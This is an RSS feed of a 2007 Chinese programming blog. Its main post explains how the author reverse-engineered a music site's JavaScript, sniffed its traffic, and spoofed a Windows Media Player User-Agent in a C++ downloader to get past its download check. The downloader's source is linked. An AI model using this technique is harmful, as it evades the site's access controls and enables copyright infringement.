﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>博客园-the samuel's blog</title><link>http://www.cnblogs.com/maxun/</link><description>wa~~~~~blog,the is blog,haha,this is my blog!!!HOHO~!~!</description><language>zh-cn</language><lastBuildDate>Sun, 21 Mar 2010 02:46:19 GMT</lastBuildDate><pubDate>Sun, 21 Mar 2010 02:46:19 GMT</pubDate><ttl>60</ttl><item><title>想了很久,我决定换BLOG了.</title><link>http://www.cnblogs.com/maxun/archive/2007/10/31/944951.html</link><dc:creator>samuel's blog</dc:creator><author>samuel's blog</author><pubDate>Wed, 31 Oct 2007 14:53:00 GMT</pubDate><guid>http://www.cnblogs.com/maxun/archive/2007/10/31/944951.html</guid><description><![CDATA[<p>阅读: 98 评论: 0 作者: <a href="http://www.cnblogs.com/maxun/" target="_blank">samuel's blog</a> 发表于 2007-10-31 22:53 <a href="http://www.cnblogs.com/maxun/archive/2007/10/31/944951.html" target="_blank">原文链接</a></p>说实在的,虽然我不怎么常用这个blog,但是每一次访问它都是一次吐血的过程,哈哈哈哈,我现在还是决定把我的博客搬一个地址,呵呵呵,现在开始启用:http://www.ubxm.cn域名<br />
<br />
以后这个博客就不用咯,呵呵呵呵呵呵俄呵呵呵
<img src="http://www.cnblogs.com/maxun/aggbug/944951.html?type=1" width="1" height="1" alt=""/><p>评论: 0　<a href="http://www.cnblogs.com/maxun/archive/2007/10/31/944951.html#pagedcomment" target="_blank">查看评论</a>　<a href="http://www.cnblogs.com/maxun/archive/2007/10/31/944951.html#commentform" target="_blank">发表评论</a></p><p><a href="http://job.cnblogs.com/" target="_blank">找优秀程序员，就在博客园</a></p><hr/><p>最新新闻：<br/>· <a href="http://news.cnblogs.com/n/59265/" target="_blank">Pwn2Own前夕抓紧补 谷歌为Chrome浏览器发布11项安全补丁</a><span style="color:gray">(2010-03-21 08:21)</span><br/>· <a href="http://news.cnblogs.com/n/59264/" target="_blank">黑客大赛开始 iPhone成主要攻破目标</a><span style="color:gray">(2010-03-21 08:12)</span><br/>· <a href="http://news.cnblogs.com/n/59263/" target="_blank">给Chrome的一封信</a><span style="color:gray">(2010-03-21 07:35)</span><br/>· <a href="http://news.cnblogs.com/n/59262/" target="_blank">甲骨文将关闭OpenSSO</a><span style="color:gray">(2010-03-20 23:54)</span><br/>· <a href="http://news.cnblogs.com/n/59261/" target="_blank">专访陈晓薇：九城已重建、我还没想好去哪</a><span style="color:gray">(2010-03-20 22:07)</span><br/></p><p>编辑推荐：<a href="http://news.cnblogs.com/n/59093/" target="_blank">[视频]想做你的Code</a><br/></p><p>网站导航：<a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/" target="_blank">个人主页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/group/" target="_blank">小组</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://kb.cnblogs.com" target="_blank">知识库</a></p>]]></description></item><item><title>FANSMI音乐下载器原理</title><link>http://www.cnblogs.com/maxun/archive/2007/07/26/832609.html</link><dc:creator>samuel's blog</dc:creator><author>samuel's blog</author><pubDate>Thu, 26 Jul 2007 10:06:00 GMT</pubDate><guid>http://www.cnblogs.com/maxun/archive/2007/07/26/832609.html</guid><description><![CDATA[<p>阅读: 330 评论: 2 作者: <a href="http://www.cnblogs.com/maxun/" target="_blank">samuel's blog</a> 发表于 2007-07-26 18:06 <a href="http://www.cnblogs.com/maxun/archive/2007/07/26/832609.html" target="_blank">原文链接</a></p><p>用BAIDU来搜索歌曲还是有一定的局限，于是想到了在线听歌，然后把音乐的名字记下来到BAIDU切搜索，但是那样我觉得还是很麻烦～上上上个月，帮朋友做了一个用于读取<a href="http://www.fansmi.com/" target=_blank>www.fansmi.com</a>网站上的音乐的真实下载地址的软件，很粗糙的一个！就一个文本输入框，然后输入播放列表的地址後点搜索，就可以把当前播放列表中的歌曲下载地址搞出来。。。。。。不过上个月的时候，她突然给我说用不了了，它娘的难道是还了&#8220;汤"?????管求得哦，只要药不换老子就有办法，HOHOHOHOH，再一次操刀抓包工具和记事本（不要小看了它，必要的时候很管用的！！！！）。。。。<a href="http://www.fansmi.com/" target=_blank>www.fansmi.com</a>的音乐文件再一次落入我的魔手，哈哈哈哈&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;再然后通过昨天晚上一个通宵的代价，编写了一个专门下载fansmi播放列表中的歌曲文件的软件，欢迎大家下载哦，哈哈哈哈！！！！<br><br><br><br>1、分析JS代码<br>&nbsp;&nbsp;&nbsp;&nbsp;进入播放列表之后，查看源代码。。。。。发现底部有一砣<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Insertsong("M11650/36.wma|Yesterday (Mello Dee Remix)/昨天|舞曲大帝国21|Fans迷音乐网|139841");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Insertsong("M11650/35.wma|Move Your Body/舞动你的身体|舞曲大帝国21|Fans迷音乐网|139840");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Insertsong("M11650/28.wma|James Dean (I Wanna Know)/精舞门原曲|舞曲大帝国21|Fans迷音乐网|139838");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Insertsong("M11650/32.wma|Slice Me (Disco Disco)/迪斯可迪斯可|舞曲大帝国21|Fans迷音乐网|139837");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Insertsong("M11650/27.wma|Wind It Up/甜蜜开关|舞曲大帝国21|Fans迷音乐网|139836");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Insertsong("M11650/21.wma|Pieces Of Heaven/天堂一角|舞曲大帝国21|Fans迷音乐网|139835");<br>&nbsp;&nbsp;&nbsp; 这样的代码，嘿嘿，不用我说了吧？看样子就知道，第一个|之前的是文件名，第二个是歌曲名&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br>&nbsp;&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;再往下看，有一个：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SongList.options[0].selected=true;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; acong_player();<br>&nbsp;&nbsp;&nbsp; 也明显，是一个自动从第一个列表项开始播放的指令。。用查找功能搜索acong_player()函数，没有搜索到，嘿嘿，那肯定再某个导入的JS文件中啦嘛，哈哈哈，网上看，发现一条&lt;script language="JavaScript" src="http://www.cnblogs.com/play/PlayUrl_B.js"&gt;&lt;/script&gt;代码，用浏览器将这个文件下载下来後找到了acong_player()函数，如下：<br>function acong_player(){<br>&nbsp; if(SongList.selectedIndex &lt; 0) alert('系统错误，请选择您要播放的曲目！');<br>&nbsp; else{<br>&nbsp;&nbsp;var varvar,person,ii,singerarray,go1,go2,collect,song,url,lrcid;<br>&nbsp;&nbsp;varvar = SongList.options[SongList.selectedIndex].value.split("|");<br>&nbsp;&nbsp;//alert(varvar.length + "\n" + SongList.options[SongList.selectedIndex].value);<br>&nbsp;&nbsp;url = varvar[0];song = varvar[1];collect = varvar[2];lrcid = varvar[0].replace(".Wma",".lrc").replace(".wma",".lrc");<br>&nbsp;&nbsp;person = varvar[3];SongID = varvar[4];Songi = varvar[4];<br>&nbsp;&nbsp;//if(person.length &gt; 5) info_person.innerHTML = person.substr(0,5) + "...";<br>&nbsp;&nbsp;//else info_person.innerHTML = person;<br>&nbsp;&nbsp;if(collect.length &gt; 6) info_collect.innerHTML = collect.substr(0,6) + "...";<br>&nbsp;&nbsp;else info_collect.innerHTML = collect;<br>&nbsp;&nbsp;if(song.length &gt; 12) info_song.innerHTML = song.substr(0,8) + "...";<br>&nbsp;&nbsp;else info_song.innerHTML = song;</p>
<p>//**************************************************************<br>var singerarray = singer.split(",");</p>
<p>for(ii=0;ii&lt;singerarray.length;ii++){</p>
<p>&nbsp; go1 = varvar[2].indexOf(singerarray[ii]);<br>&nbsp; go2 = varvar[1].indexOf(singerarray[ii]);</p>
<p>&nbsp; if(go1&gt;=0) {<br>&nbsp;&nbsp;&nbsp; top.location.href = goto;<br>&nbsp;&nbsp; return;<br>&nbsp; }</p>
<p>&nbsp; if(go2&gt;=0) {<br>&nbsp;&nbsp;&nbsp; top.location.href = goto;<br>&nbsp;&nbsp; return;<br>&nbsp; }</p>
<p>}//**************************************************************<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; document.getElementById('MusicGeCi').style.display='none';<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; document.getElementById('lrcPage').height='332px';<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; document.getElementById('lrcPage').width='354px';<br>&nbsp;&nbsp;MusicGeCi.innerHTML = "&lt;iframe frameBorder=0 allowTransparency=\"true\" width=\"354px\" height=\"312px\" src='/play/geci.aspx?id=" + SongID&nbsp; + "'&gt;对不起，你的浏览器不支持框架。&lt;/iframe&gt;&lt;img src=\"/play/hits.aspx?stype=3&amp;id=" + SongID&nbsp; + "\" border=\"0\" width=\"0\" height=\"0\"&gt;";<br>&nbsp;&nbsp;lrcPage.location.href="http://www.cnblogs.com/play/lrc.html?" + lrcid;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ivrs.innerHTML = "&lt;table width=\"340\"&gt;&lt;tr&gt;&lt;td width=\"240\"&gt;下载&lt;font color=\"#ff7d39\"&gt;" + song.substr(0,5) +"&lt;/font&gt;到手机&lt;/td&gt;&lt;td width=\"200\"&gt;&lt;iframe width=\"200\" height=\"28\" src=\"<a href="http://www.7town.com/Tnsend/mpn60.aspx?style=1&amp;uid=14143&amp;mn">http://www.7town.com/Tnsend/mpn60.aspx?style=1&amp;uid=14143&amp;mn</a>="+ song +"&amp;dy=2&amp;a=&amp;b=&amp;c=&amp;d=&amp;e=&amp;f=\" frameborder=\"no\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"No\"&gt;&lt;/iframe&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;";&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; document.title = song + " - "+ collect + " Fans迷音乐网 FansMi.Com";<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Musicsc.innerHTML = "&lt;a title=\"收藏[" + song + "]到音乐盒\" href='/musicscadd.aspx?id=" + SongID + "' target=\"sc\"&gt;把此歌曲加到音乐盒&lt;/a&gt;";<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Musicxz.innerHTML = "&lt;A title=\"下载[" + song + "]歌曲\" href='/play/DownLoad.aspx?id="&nbsp; + song&nbsp; + "' target=\"xz\"&gt;下载此歌曲&lt;/FONT&gt;&lt;/A&gt;";<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ivrloop.innerHTML = "&lt;iframe width=300 height=\"268\" src=\"<a href="http://ivrsend.7town.com/Tnivr/mpn.aspx?style=_3&amp;mn">http://ivrsend.7town.com/Tnivr/mpn.aspx?style=_3&amp;mn</a>=" + song + "&amp;uid=14143&amp;a=&amp;b=&amp;c=&amp;d=&amp;e=&amp;f=&amp;g=\" frameborder=no marginwidth=0 marginheight=0 scrolling=no align=\"center\"&gt;&lt;/iframe&gt;";<br>&nbsp;&nbsp;var wmp2 = document.getElementById('WMP');<br>&nbsp;&nbsp;wmp2.FileName = getpath(1)+url;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; showTLab();<br>&nbsp;&nbsp;return;<br>&nbsp; }<br>}<br><br>不要觉得代码多就不耐烦了！仔细的看看，起始那么多代码中，对我们有用的就只有：&nbsp;<br>var wmp2 = document.getElementById('WMP');<br>&nbsp;&nbsp;wmp2.FileName = getpath(1)+url;&nbsp;<br>WMP，哈哈哈，不就是windows media player的简写嘛？哈哈哈，然后设置它的播放文件名为getpath(1)的返回值加url，<br>首先来看一下url是什么：<br>&nbsp;var varvar,person,ii,singerarray,go1,go2,collect,song,url,lrcid;<br>&nbsp;&nbsp;varvar = SongList.options[SongList.selectedIndex].value.split("|");<br>&nbsp;&nbsp;url = varvar[0];song = varvar[1];collect = varvar[2];lrcid = varvar[0].replace(".Wma",".lrc").replace(".wma",".lrc");<br>看了着些代码能联想到什么吗？对了，这个就是已经取出的Insertsong("M11650/36.wma|Yesterday (Mello Dee Remix)/昨天|舞曲大帝国21|Fans迷音乐网|139841");的每一个|前的字符了。。。其中url变量正是对应了M11650/36.wma的，也就是说url保存的是文件名，那么文件名有了，在那里去照路径呢？有没有看到前面那个getpath(1)？？先看看这个是个什么函数再说......但是找了半天也没有找到getpath的定义，哈哈，我郁闷了，呵呵，妈的，天无绝人之路，再回到播放列表的那个HTML源代码，我惊喜的发现了一个&lt;script type="text/javascript" src="http://www.cnblogs.com/scripts/path_url.aspx"&gt;&lt;/script&gt;，path_url这个关键字和getpath(1)这个关键字好像还是很接近的哦？哈哈哈，凭直觉，我访问了path_url.aspx，访问后，那个.net程序在服务端输出了一个javascript代码块回来如下：<br>&lt;!--<br>self.focus();<br>document.write("&lt;S"+"CRIPT type=\"text/javascript\" src=\"<a href="http://djs.xq163.cn/mpin/">http://djs.xq163.cn/mpin\</a>"&gt;");&nbsp;<br>document.write("&lt;/S"+"CRIPT&gt;");<br>//调用方法为var path=getpath(#) 其中#为1-10之间的数字<br>function getpath(cs)<br>{<br>var path=new Array(12);<br>path[1]="<a href="http://www.fansmi.com/Scripts/geturl.asp?url">http://www.fansmi.com/Scripts/geturl.asp?url</a>="; //在引号中写入路径<br>path[2]="<a href="http://wma.xxx.com.cn/uboxxf2/">http://wma.xxx.com.cn/uboxxf2/</a>";<br>path[3]="<a href="http://wma.xxx.com.cn/Mv1/">http://wma.xxx.com.cn/Mv1/</a>";<br>path[4]="<a href="http://wma.xxx.com.cn/uboxff3/">http://wma.xxx.com.cn/uboxff3/</a>";<br>path[5]="<a href="http://wma.xxx.com.cn/Flash1/">http://wma.xxx.com.cn/Flash1/</a>";<br>path[6]="<a href="http://www6.xxx.cn/">http://www6.xxx.cn/</a>";<br>path[7]="<a href="http://www7.xxx.cn/">http://www7.xxx.cn/</a>";<br>path[8]="<a href="http://www8.xxx.cn/">http://www8.xxx.cn/</a>";<br>path[9]="<a href="http://www9.xxx.cn/">http://www9.xxx.cn/</a>";<br>path[10]="<a href="http://www10.xxx.cn/">http://www10.xxx.cn/</a>";<br>path[11]="<a href="http://60.195.252.80/banzou/">http://60.195.252.80/banzou/</a>"; //空地址<br>return path[cs];<br>}</p>
<p>//--&gt;<br><br>这下总算找到那个getpath函数了，哈哈哈哈哈，兴奋啊&#8230;&#8230;&#8230;&#8230;OK，继续。。。看到这个函数的时候我的第一想法是，11个URL，程序到底是访问的那个呢？嘿嘿，还好我记性好。。。。。不知道大家有没有看到，前面的代码是getpath(1) + url？？？也就是说，它是指定了使用path[1]作为下载地址的。嘿嘿，那么我们随便拿一个文件来测试一下，组合起来後是：<a href="http://www.fansmi.com/Scripts/geturl.asp?url=M11650/36.wma">http://www.fansmi.com/Scripts/geturl.asp?url=M11650/36.wma</a>，用IE打开一访问，我日&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;居然输出一个&#8220;没用的啦，请不要再来啦!&#8221;，狂晕。。。看来他是判断了HTTP协议中的一个Agent字段，OK，现在拿出抓包工具来分析一下，正常播放的时候，访问这个geturl.asp页面的时候用的什么agent，嘿嘿，抓包我选择的winsock expert，这个工具小，有好用，对于这类用途来说是大大有余了，呵呵，现在打开winsock expert，选择IE浏览器的进程，然后再用浏览器正常播放一下那些音乐文件，只需要播放一下就OK了。。。。一直往下寻找数据包，直到我找到了<br>GET /Scripts/geturl.asp?url=<u><font color=#800080>M11650/36.wma </font></u>HTTP/1.1<br>Accept: */*<br>User-Agent: Windows-Media-Player/10.00.00.3997<br>UA-CPU: x86<br>Accept-Encoding: gzip, deflate<br>Host: <a href="http://www.fansmi.com/">www.fansmi.com</a><br>Connection: Keep-Alive<br>Cookie: cnzz02=19; rtime=2; ltime=1185441390497; cnzz_eid=77745478-; ASPSESSIONIDAAQDCRQQ=KBLJADBAFECFGKGAFLJABBFN; fangsheng=yes<br>的时候，嘿嘿。。。一切都明白了。。。。原来再请求这个文件的时候使用的不是浏览器的User-Agent，而是media player，嘿嘿，这下好办了，自己写一个下载工具就OK。</p>
<p>int CMyDownloaderDlg::DownloadFile(CString strAgent,CString strSource,CString strDest)<br>{<br>&nbsp;HINTERNET hSession=InternetOpen(strAgent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);<br>&nbsp;HINTERNET hConnection=InternetOpenUrl(hSession,strSource,NULL,0,0,0);</p>
<p>&nbsp;BYTE Buffer[4096];<br>&nbsp;DWORD Read=0,i;<br>&nbsp;HANDLE hFile;</p>
<p>&nbsp;// 开始从指定的网络位置读取文件(第一个数据包)<br>&nbsp;InternetReadFile(hConnection,Buffer,sizeof(Buffer),&amp;Read);</p>
<p>&nbsp;// 没有找到文件的话<br>&nbsp;CString strCheck;<br>&nbsp;strCheck.Format("%s",Buffer);<br>&nbsp;// 由于使用的是HINTERNET组件读取数据,没有使用SOCKET<br>&nbsp;// 所以不能判断服务器的HTTP返回状态，只能通过<br>&nbsp;// 返回的数据来判断文件是否存在！<br>&nbsp;if(strCheck.Find("&lt;TITLE&gt;无法找到该页&lt;/TITLE&gt;") &gt; 0)<br>&nbsp;{<br>&nbsp;&nbsp;AfxMessageBox("文件不存在");<br>&nbsp;&nbsp;Read = 0;<br>&nbsp;}<br>&nbsp;else<br>&nbsp;{<br>&nbsp;&nbsp;// 如果服务器文件存在的话才创建本地文件，并接收<br>&nbsp;&nbsp;hFile = CreateFile(strDest,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);<br>&nbsp;}</p>
<p>&nbsp;long nCount = Read;<br>&nbsp;while(Read&gt;0)<br>&nbsp;{<br>&nbsp;&nbsp;// 将缓冲区的内容写入文件<br>&nbsp;&nbsp;WriteFile(hFile,Buffer,Read,&amp;i,NULL);<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;DoEvent();<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;// 将文件内容读入缓冲区<br>&nbsp;&nbsp;InternetReadFile(hConnection,Buffer,sizeof(Buffer),&amp;Read);<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;nCount += Read;<br>&nbsp;}<br>&nbsp;CloseHandle(hFile);&nbsp;&nbsp; </p>
<p>&nbsp;InternetCloseHandle(hConnection);&nbsp;&nbsp; <br>&nbsp;InternetCloseHandle(hSession);</p>
<p>&nbsp;return(nCount);<br>}<br>程序很简单，一个DownloadFile函数就可以了，这个函数可以用指定的user-agent取访问一个页面，最后下载geturl.asp?url=<u><font color=#800080>M11650/36.wma 後得到一个： <br>&lt;ASX version = "3.0"&gt;<br>&lt;Entry CLIENTSKIP="yes"&gt;<br>&lt;title&gt;Fans迷音乐网 FansMi.com&lt;/title&gt;<br>&lt;author&gt;Fans迷音乐网 FansMi.com&lt;/author&gt;<br>&lt;Copyright&gt;歌曲版权属唱片公司所有!&lt;/Copyright&gt;<br>&lt;Abstract&gt;Fans迷音乐网 FansMi.com&lt;/Abstract&gt;<br>&lt;REF HREF ="<a href="http://wma.xq163.cn:8081/musicdata/M11650/36.wma">http://wma.xq163.cn:8081/musicdata/M11650/36.wma</a>" /&gt;<br>&lt;REF HREF ="<a href="http://wma.xq163.cn:8081/musicdata2/M11650/36.wma">http://wma.xq163.cn:8081/musicdata2/M11650/36.wma</a>" /&gt;<br>&lt;param name="Album" value="Fans迷音乐 FansMi.com"/&gt;<br>&lt;param name="Artist" value="Fans迷音乐网 FansMi.com"/&gt;<br>&lt;/Entry&gt;<br>&lt;/ASX&gt;<br><br>嘿嘿，看那个<a href="http://wma.xq163.cn:8081/musicdata/M11650/36.wma">http://wma.xq163.cn:8081/musicdata/M11650/36.wma</a>不就是真是的下载地址嘛？哈哈哈哈哈！！！！<br>立即操刀，写出了这个音乐文件下载器。。。。。。。。。<br><br><br><br><br><br>注意：这个程序只用于学习目的，不要用作其他用！<br><br><br><br>源代码：<a href="http://www.cnblogs.com/Files/maxun/DownloadMusic.rar">http://www.cnblogs.com/Files/maxun/DownloadMusic.rar</a><br>编译好的程序：<a href="http://www.cnblogs.com/Files/maxun/fansmi_download.rar">http://www.cnblogs.com/Files/maxun/fansmi_download.rar</a><br><br><br><br>使用方法明天再贴上来了，哈哈哈！<br></font></u></p>
<img src="http://www.cnblogs.com/maxun/aggbug/832609.html?type=1" width="1" height="1" alt=""/><p>评论: 2　<a href="http://www.cnblogs.com/maxun/archive/2007/07/26/832609.html#pagedcomment" target="_blank">查看评论</a>　<a href="http://www.cnblogs.com/maxun/archive/2007/07/26/832609.html#commentform" target="_blank">发表评论</a></p><p><a href="http://job.cnblogs.com/" target="_blank">找优秀程序员，就在博客园</a></p><hr/><p>最新新闻：<br/>· <a href="http://news.cnblogs.com/n/59265/" target="_blank">Pwn2Own前夕抓紧补 谷歌为Chrome浏览器发布11项安全补丁</a><span style="color:gray">(2010-03-21 08:21)</span><br/>· <a href="http://news.cnblogs.com/n/59264/" target="_blank">黑客大赛开始 iPhone成主要攻破目标</a><span style="color:gray">(2010-03-21 08:12)</span><br/>· <a href="http://news.cnblogs.com/n/59263/" target="_blank">给Chrome的一封信</a><span style="color:gray">(2010-03-21 07:35)</span><br/>· <a href="http://news.cnblogs.com/n/59262/" target="_blank">甲骨文将关闭OpenSSO</a><span style="color:gray">(2010-03-20 23:54)</span><br/>· <a href="http://news.cnblogs.com/n/59261/" target="_blank">专访陈晓薇：九城已重建、我还没想好去哪</a><span style="color:gray">(2010-03-20 22:07)</span><br/></p><p>编辑推荐：<a href="http://news.cnblogs.com/n/59093/" target="_blank">[视频]想做你的Code</a><br/></p><p>网站导航：<a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/" target="_blank">个人主页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/group/" target="_blank">小组</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://kb.cnblogs.com" target="_blank">知识库</a></p>]]></description></item><item><title>启动带参数的线程</title><link>http://www.cnblogs.com/maxun/archive/2007/07/12/815464.html</link><dc:creator>samuel's blog</dc:creator><author>samuel's blog</author><pubDate>Thu, 12 Jul 2007 06:04:00 GMT</pubDate><guid>http://www.cnblogs.com/maxun/archive/2007/07/12/815464.html</guid><description><![CDATA[<p>阅读: 291 评论: 2 作者: <a href="http://www.cnblogs.com/maxun/" target="_blank">samuel's blog</a> 发表于 2007-07-12 14:04 <a href="http://www.cnblogs.com/maxun/archive/2007/07/12/815464.html" target="_blank">原文链接</a></p><p>前个星期，公司的项目在客户那里出现了点问题，情况为电话打入后，系统不能弹单（打入电话的时候会显示打入电话者的三字段信息：名字、电话、地址），经过检查后，发现为系统在向GIS系统发送数据的时候造成一个超时等待（GIS没有启动，但是我不明白的是我用的UdpClient，按理说不应该出现这种情况啊），考虑后，决定使用线程来解决这个问题，但是这个线程需要以带参数的形式启动，经过思考后，得出以下代码：<br><br>// 首先要写一个类，类里头包含了数据的发送，以构造函数的方式将REMOTE HOST、PORT、和要发送的数据构造进去。<br>#region send gis data<br>&nbsp;class SendGISData<br>&nbsp;{<br>&nbsp;&nbsp;private string strIP = "";<br>&nbsp;&nbsp;private string strData = "";<br>&nbsp;&nbsp;private int nRemotePort = -1;</p>
<p>&nbsp; // IP：目标机IP地址，Data：要发送的字符串数据，RemotePort：端口<br>&nbsp;&nbsp;public SendGISData(string IP,string Data,int RemotePort)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;strIP = IP;<br>&nbsp;&nbsp;&nbsp;strData = Data;<br>&nbsp;&nbsp;&nbsp;nRemotePort = RemotePort;<br>&nbsp;&nbsp;}</p>
<p>&nbsp;&nbsp;public void UDPSendData()<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;int sendCount = 0;<br>&nbsp;&nbsp;&nbsp;System.Net.Sockets.UdpClient client = new System.Net.Sockets.UdpClient(strIP,nRemotePort);<br>&nbsp;&nbsp;&nbsp;byte[] data = new byte[strIP.Length];<br>&nbsp;&nbsp;&nbsp;try<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;client.Connect(strIP,nRemotePort);<br>&nbsp;&nbsp;&nbsp;&nbsp;data = Encoding.ASCII.GetBytes(strData);<br>&nbsp;&nbsp;&nbsp;&nbsp;sendCount = client.Send(data,data.Length);<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;catch<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;sendCount = -32767;<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;finally<br>&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;client.Close();<br>&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;#endregion<br><br><br><br>// 使用方法<br>using System.Threading;<br>....<br>....<br>....<br>SendGISData GISCtrl= new SendGISData("10.54.163.164","02887832222",8080);<br>ThreadStart&nbsp;threadStart = new ThreadStart(GISCtrl.UDPSendData);<br>Thread thread= new Thread(threadStart);<br>thread.Start();</p>
<img src="http://www.cnblogs.com/maxun/aggbug/815464.html?type=1" width="1" height="1" alt=""/><p>评论: 2　<a href="http://www.cnblogs.com/maxun/archive/2007/07/12/815464.html#pagedcomment" target="_blank">查看评论</a>　<a href="http://www.cnblogs.com/maxun/archive/2007/07/12/815464.html#commentform" target="_blank">发表评论</a></p><p><a href="http://job.cnblogs.com/" target="_blank">找优秀程序员，就在博客园</a></p><hr/><p>最新新闻：<br/>· <a href="http://news.cnblogs.com/n/59265/" target="_blank">Pwn2Own前夕抓紧补 谷歌为Chrome浏览器发布11项安全补丁</a><span style="color:gray">(2010-03-21 08:21)</span><br/>· <a href="http://news.cnblogs.com/n/59264/" target="_blank">黑客大赛开始 iPhone成主要攻破目标</a><span style="color:gray">(2010-03-21 08:12)</span><br/>· <a href="http://news.cnblogs.com/n/59263/" target="_blank">给Chrome的一封信</a><span style="color:gray">(2010-03-21 07:35)</span><br/>· <a href="http://news.cnblogs.com/n/59262/" target="_blank">甲骨文将关闭OpenSSO</a><span style="color:gray">(2010-03-20 23:54)</span><br/>· <a href="http://news.cnblogs.com/n/59261/" target="_blank">专访陈晓薇：九城已重建、我还没想好去哪</a><span style="color:gray">(2010-03-20 22:07)</span><br/></p><p>编辑推荐：<a href="http://news.cnblogs.com/n/59093/" target="_blank">[视频]想做你的Code</a><br/></p><p>网站导航：<a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/" target="_blank">个人主页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://home.cnblogs.com/group/" target="_blank">小组</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://kb.cnblogs.com" 